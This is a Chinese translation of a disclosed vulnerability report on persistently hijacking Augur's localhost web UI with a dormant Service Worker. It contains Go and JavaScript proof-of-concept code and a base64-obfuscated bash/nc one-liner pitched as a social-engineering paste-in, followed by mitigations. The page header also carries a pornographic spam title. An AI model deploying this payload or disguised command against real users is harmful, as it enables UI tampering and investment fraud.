亚洲日本免费-啊轻点灬太粗太长了三男一女-麻豆av电影在线观看-日韩一级片毛片|www.grbbt.com

如何通過(guò)休眠服務(wù)劫持Augur

一、前言

這份漏洞報(bào)告已于3星期之前發(fā)送給Augur,現(xiàn)在經(jīng)對(duì)方允許我將漏洞細(xì)節(jié)公開(kāi)。雖然攻擊過(guò)程本身有點(diǎn)復(fù)雜,在實(shí)際環(huán)境中難以實(shí)現(xiàn),但的確是一種通用型攻擊方法,可以適用于多個(gè)去中心化應(yīng)用。

QQ截圖20180810103829

二、Augur簡(jiǎn)介

目前Augur的架構(gòu)主要由3個(gè)獨(dú)立的層所組成:

1、在最底層,Augur包含建立在以太坊(Ethereum)之上的一系列智能合約(smart contract)。這層由全局區(qū)塊鏈驅(qū)動(dòng),可以通過(guò)由用戶或者可信遠(yuǎn)程實(shí)體操作的網(wǎng)關(guān)節(jié)點(diǎn)來(lái)訪問(wèn)。

2、在中間層,Augur包含一個(gè)中間服務(wù)層,使用(可信)以太坊作為數(shù)據(jù)源,根據(jù)合約日志構(gòu)建數(shù)據(jù)庫(kù),為基于web的UI提供預(yù)先準(zhǔn)備好的數(shù)據(jù)。

3、在最上層,Augur包含由可信Augur節(jié)點(diǎn)提供的web UI,用戶可以通過(guò)本地瀏覽器訪問(wèn)http://localhost:8080地址來(lái)與web UI交互。

在本文中,我們假設(shè)以太坊網(wǎng)絡(luò)、網(wǎng)關(guān)以及Augur網(wǎng)關(guān)都為可信單元,并且處于正常運(yùn)行狀態(tài)。本文攻擊的是鏈條的最后一個(gè)環(huán)節(jié),即用戶端的瀏覽器,最終實(shí)現(xiàn)將任意代碼注入Augur UI中。

三、Service Worker簡(jiǎn)介

Service Worker是獨(dú)立于web頁(yè)面,由瀏覽器在后臺(tái)運(yùn)行的一個(gè)腳本,可以提供不需要web頁(yè)面或者用戶交互的服務(wù),其核心功能是攔截并處理網(wǎng)絡(luò)請(qǐng)求。

~Google Developers

簡(jiǎn)單總結(jié)一下,Service Worker是現(xiàn)在所有Web瀏覽器都支持的一種技術(shù),允許網(wǎng)站注冊(cè)以后臺(tái)線程形式運(yùn)行的任意JavaScript,其主要目的是允許脫機(jī)緩存,此時(shí)Service Worker可以劫持網(wǎng)絡(luò)請(qǐng)求并為其提供服務(wù)(包括任意更改網(wǎng)絡(luò)請(qǐng)求)。當(dāng)用戶不具備互聯(lián)網(wǎng)連接時(shí),Service Worker可以讓JavaScript代碼充當(dāng)臨時(shí)服務(wù)器提供服務(wù)。

如果大家想了解更多細(xì)節(jié),可以參考Google開(kāi)發(fā)者頁(yè)面。從本文的角度來(lái)看,(除劫持網(wǎng)絡(luò)請(qǐng)求這個(gè)核心功能以外)最有趣的地方在于Service Work的生命周期以及威脅模型:

1、站點(diǎn)可以在任意時(shí)間點(diǎn)安裝Service Worker。這個(gè)Service Worker會(huì)一直處于有效執(zhí)行狀態(tài),除非被顯式取消注冊(cè)為止。即使頁(yè)面刷新、完全強(qiáng)制刷新甚至瀏覽器重啟,Service Worker都會(huì)處于正常工作狀態(tài)。Service Worker并沒(méi)有與伺服的特定內(nèi)容綁定,即使面對(duì)全新的、不相關(guān)的內(nèi)容,之前注冊(cè)的Service Worker也會(huì)處于活躍狀態(tài)。

2、不管從哪個(gè)角度來(lái)看,從設(shè)計(jì)方面講Service Worker天然就是一種MITM攻擊,因此存在非常嚴(yán)格的限制策略,只能從HTTPS來(lái)運(yùn)行(確保網(wǎng)站只能注冊(cè)代碼,劫持屬于自己的內(nèi)容),并且注冊(cè)的源與運(yùn)行的源必須完全匹配(最嚴(yán)格的同源策略)。然而,localhost并不受如此嚴(yán)格的限制策略影響,這樣開(kāi)發(fā)者工作起來(lái)就比較輕松。

總結(jié)出這兩點(diǎn)后,我相信大家心里面已經(jīng)有點(diǎn)數(shù)了。

四、漏洞利用細(xì)節(jié)

本文介紹的攻擊思路用到了兩方面技術(shù),一是濫用現(xiàn)代瀏覽器的Service Worker安全策略,二是利用了Augur在瀏覽器中運(yùn)行UI這種設(shè)計(jì)特點(diǎn),將兩者結(jié)合起來(lái)后,可以實(shí)現(xiàn)無(wú)縫劫持所有的Augur通信數(shù)據(jù),同樣也能將任意代碼無(wú)縫注入Augur的UI:

1、Augur的UI運(yùn)行在http://localhost:8080,從SSL角度來(lái)看并沒(méi)有經(jīng)過(guò)身份認(rèn)證。我們無(wú)法證明來(lái)自不同會(huì)話的代碼是否屬于(或不屬于)同一個(gè)(或不同的)應(yīng)用;

2、瀏覽器會(huì)將localhost當(dāng)成開(kāi)發(fā)環(huán)境,因此允許站點(diǎn)在沒(méi)有使用SSL認(rèn)證的情況下安裝并執(zhí)行Service Worker;

3、Service Worker在瀏覽器中處于休眠狀態(tài)(沒(méi)有緩存控制,無(wú)法預(yù)先檢測(cè)),每次加載相同的源(http://localhost:8080)時(shí)就會(huì)執(zhí)行。

投遞載荷

為了劫持Augur,我們首先需要在localhost:8080安裝一個(gè)Service Worker。該任務(wù)至少需要我們?cè)谀繕?biāo)主機(jī)上運(yùn)行一次Web服務(wù)器,并在用戶瀏覽器加載Augur之前至少加載一次localhost:8080

在分析這個(gè)操作的難度之前,我們先演示更加直觀的一種方法,以便更好理解攻擊過(guò)程。先來(lái)看看Go語(yǔ)言版本的完全自包含的一段漏洞利用示例代碼:

package main

import (
    "fmt"
    "net/http"
)

func main() {
    // Start a web-server on port 8080, serving the demo HTML and JS injector
    http.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) {
        fmt.Fprint(w, index)
    })
    http.HandleFunc("/pwner.js", func(w http.ResponseWriter, r *http.Request) {
        w.Header().Set("Content-Type", "text/javascript")
        fmt.Fprint(w, pwner)
    })
    http.ListenAndServe(":8080", nil)
}

var index = `
<html>

<script>
if ('serviceWorker' in navigator) {
  navigator.serviceWorker.register('/pwner.js')
  .then(function(registration) {
    console.log('Registration successful, scope is:', registration.scope);
  })
  .catch(function(error) {
    console.log('Service worker registration failed, error:', error);
  });
}
</script>

<img id='gopher'/>
<script>
    setTimeout(function() {
        document.getElementById('gopher').src = 'https://gophercises.com/img/gophercises_jumping.gif';
    }, 1000)
</script>
</html>
`

var pwner = `
// Inject ourselves as the base service worker for Augur
self.addEventListener('install', function(event) {
  console.log('Service worker installing...');
  self.skipWaiting();
});

self.addEventListener('activate', function(event) {
  console.log('Service worker activating...');
    clients.claim();
});

// Hijack and HTTP requests, we're looking for script loads
self.addEventListener('fetch', function(event) {
  console.log('Fetching:', event.request.url);
  if (event.request.url.startsWith("http://localhost:8080/main.")) {
    // Main Augur application is loading, inject our custom script into it
    event.respondWith(fetch(event.request.url)
    .then(function(response) {
      return response.text();
    })
    .then(function(text) {
      return new Response(text + 'nsetTimeout(function() { alert("You are Pwned!") }, 3000);');
    }));
  }
});
`

這段代碼主要做了如下工作:

1、啟動(dòng)一個(gè)Go web服務(wù)器,提供兩個(gè)URI服務(wù)地址,/用于索引,pwner.js用于Service Worker劫持;

2、index.html頁(yè)面包含一小段腳本,該腳本將/pwner.js注冊(cè)為Service Worker,同時(shí)還會(huì)顯示一只跳躍的地鼠,增加趣味性;

3、/pwner.js這個(gè)Service Worker是一段簡(jiǎn)單的腳本,會(huì)劫持所有的網(wǎng)絡(luò)請(qǐng)求,為每個(gè)請(qǐng)求打印日志,如果碰到與main.js(Augur的代碼)有關(guān)的請(qǐng)求,就會(huì)在末尾注入任意一些JavaScript代碼。

我們可以使用go run exploit.go命令運(yùn)行上述代碼(你也可以將這些代碼保存為任意文件名),然后從瀏覽器中加載這個(gè)頁(yè)面。瀏覽器會(huì)顯示一只地鼠,沒(méi)有其他信息。然而如果我們查看JavaScript控制臺(tái),應(yīng)該能夠看到如下幾行內(nèi)容:

Registration successful, scope is: http://localhost:8080/
pwner.js:4 Service worker installing…
pwner.js:9 Service worker activating…
pwner.js:15 Fetching: https://gophercises.com/img/gophercises_jumping.gif

此時(shí)我們可以停止運(yùn)行Go攻擊服務(wù)器,關(guān)閉瀏覽器。劫持腳本已經(jīng)成功注入,可以攔截localhost:8080源上的任意內(nèi)容。

執(zhí)行載荷

隨著時(shí)間的推移(我們可以耐心等待,不要著急),用戶終于通過(guò)官方倉(cāng)庫(kù)以及/或者客戶端下載并啟動(dòng)Augur。隨后Augur App會(huì)啟動(dòng),從以太坊網(wǎng)絡(luò)同步本地?cái)?shù)據(jù)庫(kù)。當(dāng)同步完成后,用戶按下“Open Augur App”按鈕,從用戶瀏覽器中的應(yīng)用加載Augur UI界面。

此時(shí)我們先前創(chuàng)建的處于休眠狀態(tài)的Service Worker就會(huì)開(kāi)始執(zhí)行,劫持UI與后端服務(wù)之間的所有網(wǎng)絡(luò)流量。這樣我們就可以任意修改用戶和服務(wù)之間的數(shù)據(jù)流,同樣也可以將任意JavaScript代碼注入U(xiǎn)I中。

比如文章開(kāi)頭那張圖中,我們注入了一段JavaScript警告代碼,顯示“You are Pwned!”信息。

五、影響范圍

這個(gè)漏洞的影響范圍其實(shí)非常廣泛。既然已經(jīng)完全控制UI與后端服務(wù)器之間的網(wǎng)絡(luò)流量,也完全控制了UI展示的內(nèi)容,攻擊者現(xiàn)在可以顯示任意的Augur市場(chǎng)、股份、統(tǒng)計(jì)數(shù)據(jù)等。

攻擊者并沒(méi)有直接控制用戶的資金,無(wú)法直接讓用戶簽名無(wú)效交易。然而,通過(guò)修改市場(chǎng)描述和統(tǒng)計(jì)數(shù)據(jù),攻擊者可以說(shuō)服用戶發(fā)起失敗的投資(比如顛倒獲勝條件),從而讓用戶損失慘重。攻擊者可以進(jìn)一步在劫持的市場(chǎng)上對(duì)賭,直接獲取大量利益。

從技術(shù)角度來(lái)看,該漏洞之所以影響程度較大,是因?yàn)闊o(wú)需特權(quán)就能利用,只需運(yùn)行一次,就能在用戶系統(tǒng)中永遠(yuǎn)處于待命狀態(tài),并且使用的是完全合法的瀏覽器功能,因此沒(méi)有任何漏洞檢測(cè)軟件能夠捕獲這種方法。

六、實(shí)際攻擊

利用過(guò)程中最難的一點(diǎn)是如何在第一時(shí)間用于最終用戶。如前文所述,瀏覽器會(huì)對(duì)Service Worker強(qiáng)制啟用同源安全策略,因此在用戶系統(tǒng)上唯一能攻擊Augur的方法就是讓用戶從localhost:8080加載一個(gè)惡意頁(yè)面。

前面的Go代碼的確是非常好的演示代碼,但顯然不適用于實(shí)際利用場(chǎng)景。我們需要更好的社會(huì)工程學(xué)方法,將利用載荷投遞給用戶系統(tǒng)。

Bash命令

現(xiàn)在攻擊加密貨幣用戶的一種常見(jiàn)方法就是讓用戶從各種網(wǎng)頁(yè)或者聊天消息中復(fù)制代碼然后粘貼到終端中。雖然這種方法聽(tīng)起來(lái)比較愚笨,但的確行之有效,如果攻擊過(guò)程中不需要root訪問(wèn)權(quán)限那會(huì)更加有用。

如下這段bash命令只包含791個(gè)字符,但功能齊全,可以提供2個(gè)不同的網(wǎng)頁(yè),自動(dòng)讓用戶瀏覽器加載這些網(wǎng)頁(yè)并注冊(cè)Service Worker。

echo SFRUUC8xLjEgMjAwIE9LDQoNCjxzY3JpcHQ+bmF2aWdhdG9yLnNlcnZpY2VXb3JrZXIucmVnaXN0ZXIoJycpPC9zY3JpcHQ+ | base64 -d | nc -lN 8080 > /dev/null && echo SFRUUC8xLjEgMjAwIE9LDQpDb250ZW50LVR5cGU6IHRleHQvamF2YXNjcmlwdA0KDQpzZWxmLmFkZEV2ZW50TGlzdGVuZXIoImluc3RhbGwiLGZ1bmN0aW9uKGV2ZW50KXtzZWxmLnNraXBXYWl0aW5nKCl9KTtzZWxmLmFkZEV2ZW50TGlzdGVuZXIoImZldGNoIixmdW5jdGlvbihldmVudCl7aWYoZXZlbnQucmVxdWVzdC51cmwuc3RhcnRzV2l0aCgiaHR0cDovL2xvY2FsaG9zdDo4MDgwL21haW4uIikpe2V2ZW50LnJlc3BvbmRXaXRoKGZldGNoKGV2ZW50LnJlcXVlc3QudXJsKS50aGVuKGZ1bmN0aW9uKHJlc3BvbnNlKXtyZXR1cm4gcmVzcG9uc2UudGV4dCgpfSkudGhlbihmdW5jdGlvbih0ZXh0KXtyZXR1cm4gbmV3IFJlc3BvbnNlKHRleHQrYApzZXRUaW1lb3V0KGZ1bmN0aW9uKCl7YWxlcnQoIllvdSBhcmUgUHduZWQhIil9LDMwMDApYCl9KSl9fSkK | base64 -d | nc -lN 8080 > /dev/null & xdg-open http://localhost:8080

這段代碼看上去人畜無(wú)害,攻擊者可以輕松將其隱藏在功能正常的一大段腳本中。由于注入動(dòng)作不需要立即執(zhí)行,因此受漏洞影響的用戶很難覺(jué)察到主機(jī)上存在一個(gè)等待運(yùn)行的休眠載荷。

劫持8080服務(wù)

localhost上的8080端口通常是Web服務(wù)的標(biāo)準(zhǔn)端口。Web開(kāi)發(fā)者也已經(jīng)習(xí)慣了在上面運(yùn)行所開(kāi)發(fā)的代碼。許多服務(wù)、監(jiān)控工具等也喜歡在類(lèi)似8080的端口上運(yùn)行。這意味著在開(kāi)發(fā)者主機(jī)上劫持8080端口很有可能會(huì)成功,因此該操作只需要在任何Web依賴中添加幾行代碼,運(yùn)行一次后就可以永久刪除,不會(huì)留下痕跡。

雖然開(kāi)發(fā)者可能不愿意在主機(jī)上運(yùn)行任意代碼(但實(shí)話實(shí)說(shuō),我們都運(yùn)行了GitHub上的這段腳本,具體原因不表),但這個(gè)漏洞非常煩人,因?yàn)樗梢赃\(yùn)行在完全沙盒化的環(huán)境中(用戶的瀏覽器),因此沒(méi)人會(huì)想到簡(jiǎn)單的一次頁(yè)面加載會(huì)在系統(tǒng)上留下任意攻擊代碼。

七、建議

從本質(zhì)上講,用于origin沖突,通過(guò)用戶瀏覽器從localhost運(yùn)行Augur UI貌似不是最好的決定。瀏覽器總是會(huì)將localhost當(dāng)成一個(gè)特殊的對(duì)象,如果再遇上安全策略,可以想象到未來(lái)有很多漏洞能夠源自于此。如果Augur在許多功能上都要依賴Electron,那么可以考慮捆綁整個(gè)瀏覽器一起發(fā)布,并且單獨(dú)為Augur提供專(zhuān)用進(jìn)程。這樣就能阻止其他瀏覽器會(huì)話將惡意腳本泄露給新的瀏覽器。

8080端口上運(yùn)行也不是一個(gè)明智的選擇,這與其他許多服務(wù)商有沖突,也與開(kāi)發(fā)者的默認(rèn)選擇有沖突。在不常用的其他端口上提供服務(wù)應(yīng)該不會(huì)對(duì)用戶體驗(yàn)造成太大影響,但攻擊這個(gè)端口會(huì)比攻擊8080常用端口要困難得多。

原文鏈接:https://medium.com/@peter_szilagyi/augur-hijack-via-dormant-service-workers-bea254258f98

上一篇:聯(lián)動(dòng)?聚力 亞信安全2018全國(guó)巡展正式起航

下一篇:DEFCON:攻擊美國(guó)選舉系統(tǒng)如此簡(jiǎn)單 小孩子都能輕松實(shí)現(xiàn)